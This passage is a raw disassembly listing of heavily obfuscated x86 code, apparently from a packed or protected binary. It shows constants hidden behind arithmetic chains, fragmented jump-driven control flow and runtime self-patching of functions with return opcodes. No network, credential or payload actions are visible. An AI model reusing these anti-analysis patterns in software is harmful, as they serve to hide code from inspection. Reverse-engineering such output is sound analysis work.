loc_43F744:				; CODE XREF: sub_43FD63+729Bj
					; sub_43FD63:loc_449AAEj
		mov	eax, [ebp-28h]
		mov	byte ptr [eax],	64h
		call	sub_4445C7

loc_43F74F:				; CODE XREF: sub_440834+5D97j
		jmp	loc_44CAEA
; END OF FUNCTION CHUNK	FOR sub_43FD63
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448C95

loc_43F754:				; CODE XREF: sub_448C95-69BDj
		jmp	loc_437AE0
; END OF FUNCTION CHUNK	FOR sub_448C95
; ---------------------------------------------------------------------------
		push	edi
		push	7B4D1663h
		pop	edi
		rol	edi, 0Bh
		add	edi, 11430D25h
		xor	edi, 194802E4h
		jmp	loc_4449EF
; ---------------------------------------------------------------------------

loc_43F774:				; CODE XREF: kgbikm34:loc_44D7F3j
		jnb	loc_43BFF4
		jmp	loc_444620

; =============== S U B	R O U T	I N E =======================================



sub_43F77F	proc near		; CODE XREF: sub_439BDE+98D5p
					; kgbikm34:0044777Aj

; FUNCTION CHUNK AT 0043CB22 SIZE 00000028 BYTES
; FUNCTION CHUNK AT 0043D961 SIZE 00000019 BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		rol	eax, 1Fh
		push	ebx
		push	7AEDD912h
		pop	ebx
		or	ebx, 79260361h
		jmp	loc_43D961
sub_43F77F	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_43F798:				; CODE XREF: kgbikm34:00445A31j
		jl	loc_448A83
		cmp	eax, 80390EBEh
		jmp	loc_4440F5
; ---------------------------------------------------------------------------

loc_43F7A9:				; DATA XREF: kgbikm34:004389B5o
		pop	ecx
		lea	eax, nullsub_320
		push	offset sub_4471ED
		jmp	nullsub_99
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43DC9A

loc_43F7BA:				; CODE XREF: sub_43DC9A+4j
		mov	eax, [ebp-4]
		call	sub_43B228
		test	al, al
		jnz	loc_440057
		mov	eax, [ebp-4]
		jmp	loc_44BDF2
; END OF FUNCTION CHUNK	FOR sub_43DC9A
; ---------------------------------------------------------------------------

loc_43F7D2:				; CODE XREF: kgbikm34:loc_448E88j
		jmp	ds:dword_41E168
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_11. PRESS	KEYPAD "+" TO EXPAND]
		db 88h,	0D5h, 7Ah
		dd 8B5AFFFFh, 0BCE92404h
		db 6Ah,	2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B20C

loc_43F7E7:				; CODE XREF: sub_44B20C-C122j
		add	eax, 2E04F343h
		xor	eax, 104C7244h
		sub	eax, 865672E1h
		add	eax, 0FA4A72A0h
		jmp	loc_438D54
; END OF FUNCTION CHUNK	FOR sub_44B20C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448AC9

loc_43F804:				; CODE XREF: sub_448AC9:loc_44B1BAj
		pop	ecx
		or	eax, 54C509D1h
		call	sub_439D4B

loc_43F810:				; CODE XREF: sub_4467D1-9000j
		mov	ecx, offset loc_4487DF
		jmp	loc_4487CC
; END OF FUNCTION CHUNK	FOR sub_448AC9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44CF08

loc_43F81A:				; CODE XREF: sub_44CF08:loc_445078j
		jnz	loc_438452

loc_43F820:				; CODE XREF: kgbikm34:00448C36j
		sbb	edx, 0EEC5B498h
		pop	ebx
		jmp	loc_438452
; END OF FUNCTION CHUNK	FOR sub_44CF08
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F145

loc_43F82C:				; CODE XREF: sub_43F145+9434j
		jl	loc_43ECE0
		sbb	edi, edx
		jmp	loc_43ECDA
; END OF FUNCTION CHUNK	FOR sub_43F145
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B1D6

loc_43F839:				; CODE XREF: sub_43B1D6:loc_43F6C6j
		call	sub_43E4C0
		push	esi
		push	0BBD431D9h
		pop	esi
		add	esi, 351EF9DEh
		and	esi, 0F4B36F77h
		xor	esi, 0CC87E2ADh
		jmp	loc_43B718
; END OF FUNCTION CHUNK	FOR sub_43B1D6
; ---------------------------------------------------------------------------
		pop	ebx
		jmp	loc_448D61
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B6F1

loc_43F862:				; CODE XREF: sub_44B6F1:loc_4469BEj
					; kgbikm34:004469D7j
		sub	edi, 0BA4995DBh
		jnz	loc_43EDDF
; END OF FUNCTION CHUNK	FOR sub_44B6F1
; START	OF FUNCTION CHUNK FOR sub_44283A

loc_43F86E:				; CODE XREF: sub_44283A+3029j
		jmp	sub_43BF6F
; END OF FUNCTION CHUNK	FOR sub_44283A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4437D8

loc_43F873:				; CODE XREF: sub_4437D8+Dj
		jmp	loc_43F985
; END OF FUNCTION CHUNK	FOR sub_4437D8
; ---------------------------------------------------------------------------

loc_43F878:				; CODE XREF: kgbikm34:loc_43C7F5j
		push	0A04DAA2Dh
		jmp	loc_43EDCB
; ---------------------------------------------------------------------------

loc_43F882:				; DATA XREF: sub_43CAB5:loc_439776o
		xchg	esi, [esp]
		jmp	loc_43858B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D045

loc_43F88A:				; CODE XREF: sub_43D045+79D9j
		and	ecx, 3B88B088h
		add	ecx, 4EFC5C0h
		sub	eax, ecx
		pop	ecx
		jmp	loc_43F909
; END OF FUNCTION CHUNK	FOR sub_43D045
; ---------------------------------------------------------------------------

loc_43F89E:				; DATA XREF: sub_44055B+8C7Ao
		xor	eax, ebx
		pop	ebx
		rol	eax, 9
		mov	ds:dword_437A40, eax
; START	OF FUNCTION CHUNK FOR sub_449F77

loc_43F8AA:				; CODE XREF: sub_449F77-969Bj
					; sub_449F77+Ej
		ror	eax, 9
		xor	eax, 2AE69676h
		jmp	loc_44166B
; END OF FUNCTION CHUNK	FOR sub_449F77
; ---------------------------------------------------------------------------

loc_43F8B8:				; CODE XREF: kgbikm34:loc_4495C5j
		or	eax, 0D20AC759h
		add	eax, 28B84B23h
		mov	eax, [eax]
		or	eax, eax
		jnz	loc_44B6B1
		jmp	loc_44CF20
; ---------------------------------------------------------------------------

loc_43F8D3:				; DATA XREF: kgbikm34:loc_441DD4o
		mov	ds:dword_41E10C, eax
		call	sub_43F4A6
; START	OF FUNCTION CHUNK FOR sub_43EB8F

loc_43F8DE:				; CODE XREF: sub_43EB8F+65E2j
		jmp	loc_440821
; END OF FUNCTION CHUNK	FOR sub_43EB8F
; ---------------------------------------------------------------------------

loc_43F8E3:				; CODE XREF: kgbikm34:loc_4396EDj
		jmp	loc_441D80
; ---------------------------------------------------------------------------

loc_43F8E8:				; CODE XREF: kgbikm34:004495F1j
		jb	loc_445012

; =============== S U B	R O U T	I N E =======================================



sub_43F8EE	proc near		; CODE XREF: sub_43CDCE+1p

; FUNCTION CHUNK AT 0043AD20 SIZE 0000000A BYTES

		xchg	eax, [esp+0]

loc_43F8F1:				; CODE XREF: sub_43FA71:loc_443B0Fj
		pop	eax
		mov	ebp, esp
		jmp	loc_43AD20
sub_43F8EE	endp ; sp-analysis failed

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_330. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_43F8FA:				; CODE XREF: kgbikm34:00446264j
		jmp	loc_4453B8
; ---------------------------------------------------------------------------
		call	sub_44962F

loc_43F904:				; CODE XREF: kgbikm34:0044B37Dj
		jmp	locret_439199
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D045

loc_43F909:				; CODE XREF: sub_43D045+2854j
		jmp	loc_44CDC1
; END OF FUNCTION CHUNK	FOR sub_43D045
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_249. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4478CD

loc_43F90F:				; CODE XREF: sub_4478CD+13F8j
		jmp	loc_4409E2
; END OF FUNCTION CHUNK	FOR sub_4478CD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B2CF

loc_43F914:				; CODE XREF: sub_43B2CF+7841j
		add	edx, ebp
		add	edx, 2C896A72h
		push	offset loc_444CB6
		jmp	nullsub_54
; END OF FUNCTION CHUNK	FOR sub_43B2CF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B5FD

loc_43F926:				; CODE XREF: sub_44B5FD:loc_446C54j
		jnz	loc_44DB92

loc_43F92C:				; CODE XREF: kgbikm34:loc_44E221j
		lea	edx, [ebp-14h]
		mov	eax, offset dword_438370
		call	sub_4479B1
		jmp	loc_448BE2
; END OF FUNCTION CHUNK	FOR sub_44B5FD
; ---------------------------------------------------------------------------
		mov	ds:off_41E170, eax
		lea	eax, sub_43F6D0
		mov	byte ptr [eax],	0C3h
		jmp	loc_449E17
; ---------------------------------------------------------------------------
		push	eax
		mov	eax, ecx
		xchg	eax, [esp]
		call	sub_43FDFD
; START	OF FUNCTION CHUNK FOR sub_44ADC2

loc_43F95D:				; CODE XREF: sub_44ADC2-48A3j
		jmp	loc_43BD1B
; END OF FUNCTION CHUNK	FOR sub_44ADC2
; ---------------------------------------------------------------------------

loc_43F962:				; CODE XREF: kgbikm34:loc_440616j
		pop	ebx
		sub	ebx, 0CFECBBB6h
		rol	ebx, 12h
		add	ebx, 8E78D271h
		and	ebx, 1E56CCA6h
		add	ebx, 0FA01A012h
		mov	[ebx], eax
		jmp	loc_43BD16
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4437D8

loc_43F985:				; CODE XREF: sub_4437D8:loc_43F873j
		or	eax, 0B728426Dh
		rol	eax, 5
		or	eax, 0FEE18E16h
		xor	eax, 0A3A82268h
		jmp	loc_44D958
; END OF FUNCTION CHUNK	FOR sub_4437D8
; ---------------------------------------------------------------------------

loc_43F99F:				; DATA XREF: sub_441728+Ao
		call	sub_43B5BA
		jnz	loc_439CF3
		mov	ecx, [ebx+edx-4]
		or	ecx, ecx
		jz	loc_444A67
		jmp	loc_44969F
; ---------------------------------------------------------------------------

loc_43F9BB:				; DATA XREF: kgbikm34:loc_4442FCo
		mov	eax, [ebp-8]
		shr	eax, 0Bh
		jmp	loc_447014
; ---------------------------------------------------------------------------

loc_43F9C6:				; CODE XREF: kgbikm34:loc_437343j
		mov	eax, [ebp-0Ch]
		cmp	byte ptr [eax],	0
		jnz	loc_43F325
; START	OF FUNCTION CHUNK FOR sub_444002

loc_43F9D2:				; CODE XREF: sub_444002:loc_4473B7j
		mov	eax, [ebp-8]
		shl	eax, 3
		add	[ebp-8], eax
		jmp	loc_439E0F
; END OF FUNCTION CHUNK	FOR sub_444002
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B0B7

loc_43F9E0:				; CODE XREF: sub_43B0B7:loc_43B6F2j
		jnz	loc_44B939
		jmp	loc_43E30E
; END OF FUNCTION CHUNK	FOR sub_43B0B7
; ---------------------------------------------------------------------------
		push	12C91EA8h
		jmp	loc_44A9BA
; ---------------------------------------------------------------------------
		mov	ds:off_41E040, eax
		lea	eax, loc_44CD8E
		mov	byte ptr [eax],	0C3h
		jmp	loc_44CD8E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440F78

loc_43FA09:				; CODE XREF: sub_440F78:loc_44CD8Ej
		xchg	ebx, [esp+0]
		mov	edx, ebx
		pop	ebx
		jmp	loc_437A1D
; END OF FUNCTION CHUNK	FOR sub_440F78
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44C347

loc_43FA14:				; CODE XREF: sub_44C347:loc_44AF24j
		js	loc_437711
		cdq
		jmp	loc_43770B
; END OF FUNCTION CHUNK	FOR sub_44C347
; ---------------------------------------------------------------------------
		cmp	eax, 7CEAAEE5h
		jmp	loc_439426

; =============== S U B	R O U T	I N E =======================================



sub_43FA2B	proc near		; CODE XREF: sub_442E25+3B07p
					; sub_437ABD+13234j

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0044AF33 SIZE 00000005 BYTES

		xchg	edx, [esp+0]
		pop	edx
		xchg	edx, [esp-4+arg_0]
		jmp	loc_44AF33
sub_43FA2B	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43EB8F

loc_43FA37:				; CODE XREF: sub_43EB8F+1CA0j
		push	edi

loc_43FA38:				; CODE XREF: sub_44B6E1:loc_43855Aj
					; sub_43EB8F+A04j ...
		jmp	loc_44ABD4
; ---------------------------------------------------------------------------

loc_43FA3D:				; CODE XREF: kgbikm34:004474B6j
					; sub_43EB8F+A00Bj
		xchg	edx, [esp+0]
		push	edx
		shr	ecx, 15h
		jmp	loc_43FD7D
; END OF FUNCTION CHUNK	FOR sub_43EB8F
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_297. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_43FA4A:				; CODE XREF: kgbikm34:00447120j
		jmp	loc_44A919
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44D21F

loc_43FA4F:				; CODE XREF: sub_44D21F:loc_44DC9Dj
		jz	loc_437475
		jmp	loc_44B4C4
; END OF FUNCTION CHUNK	FOR sub_44D21F
; ---------------------------------------------------------------------------

loc_43FA5A:				; CODE XREF: kgbikm34:004398FDj
					; kgbikm34:loc_446948j
		call	sub_43F4ED
		push	offset sub_44D545
		jmp	loc_43CAAB
; ---------------------------------------------------------------------------
		cdq
		jmp	sub_446D60
; ---------------------------------------------------------------------------

loc_43FA6F:				; CODE XREF: kgbikm34:0044674Bj
		and	ebp, esi

; =============== S U B	R O U T	I N E =======================================



sub_43FA71	proc near		; CODE XREF: sub_44824C-CB98p

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 004383D1 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0043B54D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043B77F SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0043B837 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0043B8DC SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043C2D3 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0043CC57 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00440D57 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00443B0F SIZE 00000011 BYTES
; FUNCTION CHUNK AT 004475B3 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044872E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044CFBA SIZE 0000000B BYTES

		xchg	ebx, [esp+4+var_4]
		pop	ebx
		xchg	ebx, [esp+0]
		mov	[ebp-4], eax
		mov	eax, [ebp-4]
		mov	al, [eax]
		jmp	loc_43CC57
sub_43FA71	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44BBC0

loc_43FA85:				; CODE XREF: sub_44BBC0:loc_44DD39j
		or	ebx, 0A5977A2Dh
		add	ebx, 5A4D10FCh
		push	offset loc_442991
		jmp	loc_43AEEE
; END OF FUNCTION CHUNK	FOR sub_44BBC0
; ---------------------------------------------------------------------------
		push	eax
		ror	eax, 8
		push	offset sub_440BDF
		jmp	locret_443E86
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_442B15

loc_43FAA9:				; CODE XREF: sub_442B15-4B3Cj
		jnz	loc_4484DC
		ror	ebp, 0Bh

loc_43FAB2:				; CODE XREF: kgbikm34:loc_44616Cj
		call	sub_44A9D8
		push	offset loc_438D1F
		jmp	loc_44177F
; END OF FUNCTION CHUNK	FOR sub_442B15
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4474D5

loc_43FAC1:				; CODE XREF: sub_4474D5-24DFj
		rol	edi, 10h
		and	edi, 92FDC348h
		or	edi, 2C55C82Ch
		and	edi, 455632FBh
		jmp	loc_449AA9
; END OF FUNCTION CHUNK	FOR sub_4474D5
; ---------------------------------------------------------------------------

loc_43FADB:				; CODE XREF: kgbikm34:00447D3Ej
		cdq
; START	OF FUNCTION CHUNK FOR sub_439BDE

loc_43FADC:				; CODE XREF: sub_439BDE:loc_447D2Bj
		add	eax, 0FC1AEC36h
		mov	eax, [eax]
		call	sub_440488

loc_43FAE9:				; CODE XREF: sub_43C638+D346j
		jmp	nullsub_205
; END OF FUNCTION CHUNK	FOR sub_439BDE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B47A

loc_43FAEE:				; CODE XREF: sub_44B47A-87AFj
		jmp	loc_44125D
; END OF FUNCTION CHUNK	FOR sub_44B47A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44E1B2

loc_43FAF3:				; CODE XREF: sub_44E1B2:loc_44CFF9j
		xchg	eax, [esp+0]
		jmp	sub_43BF6F
; END OF FUNCTION CHUNK	FOR sub_44E1B2
; ---------------------------------------------------------------------------

loc_43FAFB:				; CODE XREF: kgbikm34:004372C2j
		mov	eax, 0DD1C4F2h
		call	sub_446FDF
; START	OF FUNCTION CHUNK FOR sub_445CCB

loc_43FB05:				; CODE XREF: sub_445CCB+19j
		xor	eax, 0D2D4CBECh
		push	ecx
		call	sub_446652

loc_43FB11:				; CODE XREF: sub_44A2AC-30E5j
		jmp	sub_44A2AC
; END OF FUNCTION CHUNK	FOR sub_445CCB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44649E

loc_43FB16:				; CODE XREF: sub_44649E-A9A0j
		jmp	loc_449A3D
; END OF FUNCTION CHUNK	FOR sub_44649E
; ---------------------------------------------------------------------------

loc_43FB1B:				; CODE XREF: kgbikm34:0043B5F5j
		jp	loc_43C015
		jmp	loc_44BC0C
; ---------------------------------------------------------------------------

loc_43FB26:				; CODE XREF: kgbikm34:00438EE8j
		xchg	ecx, edi
		jmp	loc_43FB52
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_442253

loc_43FB2D:				; CODE XREF: sub_442253:loc_4461DBj
		rol	eax, 1Eh
		xor	eax, 2E32D0DAh
		and	eax, 0CB237EB5h
		sub	eax, 0B21AA853h
		add	eax, 0E85E4274h
		call	sub_445E00

loc_43FB4D:				; CODE XREF: sub_449F77-12CC9j
		jmp	nullsub_11
; END OF FUNCTION CHUNK	FOR sub_442253
; ---------------------------------------------------------------------------

loc_43FB52:				; CODE XREF: kgbikm34:0043FB28j
		xor	edx, ecx
		jnz	loc_442C70

loc_43FB5A:				; CODE XREF: kgbikm34:loc_438EE2j
		push	eax
		lea	eax, dword_438E58
		push	eax
		jmp	loc_448657
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_56. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D642

loc_43FB68:				; CODE XREF: sub_43D642+10j
		jmp	loc_443796
; END OF FUNCTION CHUNK	FOR sub_43D642
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43BC26

loc_43FB6D:				; CODE XREF: sub_43BC26+7j
		jmp	sub_43D409
; END OF FUNCTION CHUNK	FOR sub_43BC26
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D494

loc_43FB72:				; CODE XREF: sub_43D494+DBFAj
		add	ebx, 0E33D7C32h
		call	sub_4403D5
		cmp	edx, 0F024ACF5h
		jmp	loc_43DF4F
; END OF FUNCTION CHUNK	FOR sub_43D494
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_81. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_445A5E

loc_43FB89:				; CODE XREF: sub_445A5E+46ECj
		jmp	nullsub_138
; END OF FUNCTION CHUNK	FOR sub_445A5E
; ---------------------------------------------------------------------------

loc_43FB8E:				; CODE XREF: kgbikm34:004494D2j
		jmp	loc_44C5F0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448CCA

loc_43FB93:				; CODE XREF: sub_448CCA+6j
		jmp	loc_447A3D
; END OF FUNCTION CHUNK	FOR sub_448CCA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4474D5

loc_43FB98:				; CODE XREF: sub_4474D5-1D61j
		jmp	loc_442A03
; END OF FUNCTION CHUNK	FOR sub_4474D5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4433D8

loc_43FB9D:				; CODE XREF: sub_4433D8-1669j
		jmp	loc_44BB27
; END OF FUNCTION CHUNK	FOR sub_4433D8
; ---------------------------------------------------------------------------

loc_43FBA2:				; CODE XREF: kgbikm34:0044D176j
		shl	ecx, 0Dh
		jmp	loc_43DF8E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44D21F

loc_43FBAA:				; CODE XREF: sub_44D21F:loc_44B4C4j
		add	ecx, ebx
		or	esi, 2364F7BAh
		jnb	loc_449BC3
		jmp	loc_437475
; END OF FUNCTION CHUNK	FOR sub_44D21F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44CABC

loc_43FBBD:				; CODE XREF: sub_44CABC:loc_446FEFj
		ror	eax, 3
		jz	loc_44D0DD
		xor	eax, 6932519h
		ror	eax, 5
		sub	eax, 0B9F6A796h
		call	sub_44CA7C
; END OF FUNCTION CHUNK	FOR sub_44CABC
; START	OF FUNCTION CHUNK FOR sub_4471A4

loc_43FBDA:				; CODE XREF: sub_4471A4-A1B3j
		shl	esi, 1Ah
		mov	esi, 3E18F232h
		xchg	ecx, [esi]

loc_43FBE4:				; CODE XREF: sub_4471A4:loc_44ADFBj
		mov	eax, [ebp-4]
		jmp	loc_438973
; END OF FUNCTION CHUNK	FOR sub_4471A4
; ---------------------------------------------------------------------------
		not	ebp
		jmp	loc_446C85
; ---------------------------------------------------------------------------
		push	0E389432Eh
		pop	eax
		xor	eax, 61DDF39Bh
		add	eax, 1BF266C0h
		jmp	loc_437B2D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F4F9

loc_43FC0A:				; CODE XREF: sub_43F4F9:loc_43F519j
		call	sub_440AAA

loc_43FC0F:				; CODE XREF: sub_43B72E+FCC2j
		jmp	sub_44B5E4
; END OF FUNCTION CHUNK	FOR sub_43F4F9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439003

loc_43FC14:				; CODE XREF: sub_439003+A390j
		jmp	loc_44922D
; END OF FUNCTION CHUNK	FOR sub_439003

; =============== S U B	R O U T	I N E =======================================



sub_43FC19	proc near		; DATA XREF: sub_43CA80+1953o
		add	esp, 10h
		pop	ebp
		xor	eax, eax
		retn
sub_43FC19	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_43FC20:				; CODE XREF: kgbikm34:0044682Bj
		jmp	loc_44DC2E

; =============== S U B	R O U T	I N E =======================================



sub_43FC25	proc near		; CODE XREF: sub_43CA80+194Ep
					; kgbikm34:0043E6D7p ...

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0043ED56 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043F2C4 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00441BDD SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00445868 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0044BB31 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044D667 SIZE 00000010 BYTES

		js	loc_44BB31
		push	esi
		mov	esi, ebx
		jmp	loc_44D667
sub_43FC25	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4407FD

loc_43FC33:				; CODE XREF: sub_4407FD:loc_44C785j
		test	ebp, eax
		jmp	loc_43FF2C
; END OF FUNCTION CHUNK	FOR sub_4407FD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44CABC

loc_43FC3A:				; CODE XREF: sub_44CABC+1Ej
		pop	edx
		ror	eax, 2
		push	ecx
		push	9F1CF280h
		pop	ecx
		add	ecx, 2E71B537h
		rol	ecx, 15h
		jmp	loc_444F37
; END OF FUNCTION CHUNK	FOR sub_44CABC
; ---------------------------------------------------------------------------
		mov	eax, 7DA6ACC0h
		push	ecx
		push	0F2DBC15Bh
		pop	ecx
		rol	ecx, 9
		sub	ecx, 0F969742Ah
		jmp	loc_4417AC
; ---------------------------------------------------------------------------

loc_43FC6D:				; DATA XREF: sub_4429A6+447Do
		pushf
		push	ebx
		push	46B00150h
; START	OF FUNCTION CHUNK FOR sub_43B932

loc_43FC74:				; CODE XREF: sub_43B932+55ABj
		pop	ebx
		rol	ebx, 3
		add	ebx, 0A0D56B32h
		jmp	loc_44968A
; END OF FUNCTION CHUNK	FOR sub_43B932
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449D87

loc_43FC83:				; CODE XREF: sub_449D87:loc_43BAB6j
		jnz	loc_43B852

loc_43FC89:				; CODE XREF: kgbikm34:0044A982j
		jmp	loc_44A09F
; END OF FUNCTION CHUNK	FOR sub_449D87
; ---------------------------------------------------------------------------

loc_43FC8E:				; CODE XREF: kgbikm34:0043F485j
		jmp	loc_443719
; ---------------------------------------------------------------------------
		cmp	esi, 58B2033Bh
		jmp	loc_4418F7
; ---------------------------------------------------------------------------

loc_43FC9E:				; CODE XREF: kgbikm34:loc_44A0C0j
		sub	edi, 0ED307D3h
		or	edi, 93C87404h
		add	edi, 604AC763h
		mov	[edi], edx
		pop	edi
; START	OF FUNCTION CHUNK FOR sub_439587

loc_43FCB3:				; CODE XREF: sub_440E0B:loc_44003Cj
					; sub_439587+7008j
		xchg	eax, edx
		push	ebx
		push	93340368h
		jmp	loc_44C663
; END OF FUNCTION CHUNK	FOR sub_439587
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D494

loc_43FCBF:				; CODE XREF: sub_43D494:loc_440B5Ej
		mov	ds:dword_41E198, eax
		lea	eax, nullsub_10
		mov	byte ptr [eax],	0C3h
		jmp	loc_44399D
; END OF FUNCTION CHUNK	FOR sub_43D494
; ---------------------------------------------------------------------------

loc_43FCD3:				; CODE XREF: kgbikm34:loc_4469A2j
		mov	eax, [esp]
		push	eax
		mov	eax, edx
		jmp	loc_44AA64
; ---------------------------------------------------------------------------
		ror	edi, 4
		jmp	sub_449617

; =============== S U B	R O U T	I N E =======================================



sub_43FCE6	proc near		; CODE XREF: sub_43D409:loc_4430A6j

var_4		= dword	ptr -4

		push	ebx
		mov	ebx, ecx
		xchg	ebx, [esp+4+var_4]
		call	sub_43CB87

loc_43FCF1:				; CODE XREF: kgbikm34:004391C6j
		jmp	sub_4450E9
sub_43FCE6	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43AECB

loc_43FCF6:				; CODE XREF: sub_43AECB+109j
		push	0A76274A6h
		pop	ebx
		or	ebx, 5FA7207Dh
		cmp	ebx, 0D92DF124h
		jmp	loc_443BA8
; END OF FUNCTION CHUNK	FOR sub_43AECB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439705

loc_43FD0D:				; CODE XREF: sub_439705+Dj
		push	ecx
		mov	ecx, edx
		call	sub_446CFB
; END OF FUNCTION CHUNK	FOR sub_439705
; START	OF FUNCTION CHUNK FOR sub_44AD10

loc_43FD15:				; CODE XREF: kgbikm34:loc_4420EBj
					; sub_44AD10-583Aj
		jmp	sub_44AD10
; END OF FUNCTION CHUNK	FOR sub_44AD10

; =============== S U B	R O U T	I N E =======================================



sub_43FD1A	proc near		; CODE XREF: sub_43FD63:loc_43FF73p
					; kgbikm34:00446089j

; FUNCTION CHUNK AT 0043B745 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0043B88D SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00442A80 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0044A037 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0044E157 SIZE 0000000B BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		add	edx, 0F6C00C0Eh
		mov	edx, [edx]
		or	edx, edx
		jnz	loc_442A80
		jmp	loc_44E157
sub_43FD1A	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		or	eax, eax
		jnz	loc_44C888
		jmp	loc_444D1E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448800

loc_43FD40:				; CODE XREF: sub_448800+12j
		rol	edx, 0Eh
		xor	edx, 6E78AF75h
		add	edx, 0ABE5A2FEh
		mov	[edx], eax
		pop	edx
		lea	eax, sub_44C198

loc_43FD58:				; CODE XREF: kgbikm34:loc_44828Bj
		jmp	loc_448CEE
; END OF FUNCTION CHUNK	FOR sub_448800
; ---------------------------------------------------------------------------

loc_43FD5D:				; CODE XREF: kgbikm34:00449BBDj
		add	ebp, 434DB2B0h

; =============== S U B	R O U T	I N E =======================================



sub_43FD63	proc near		; CODE XREF: sub_44BF4C+Ap

var_C		= dword	ptr -0Ch

; FUNCTION CHUNK AT 0043D72C SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0043D8A2 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0043F744 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0043FF65 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00442676 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004442CD SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00444417 SIZE 00000005 BYTES
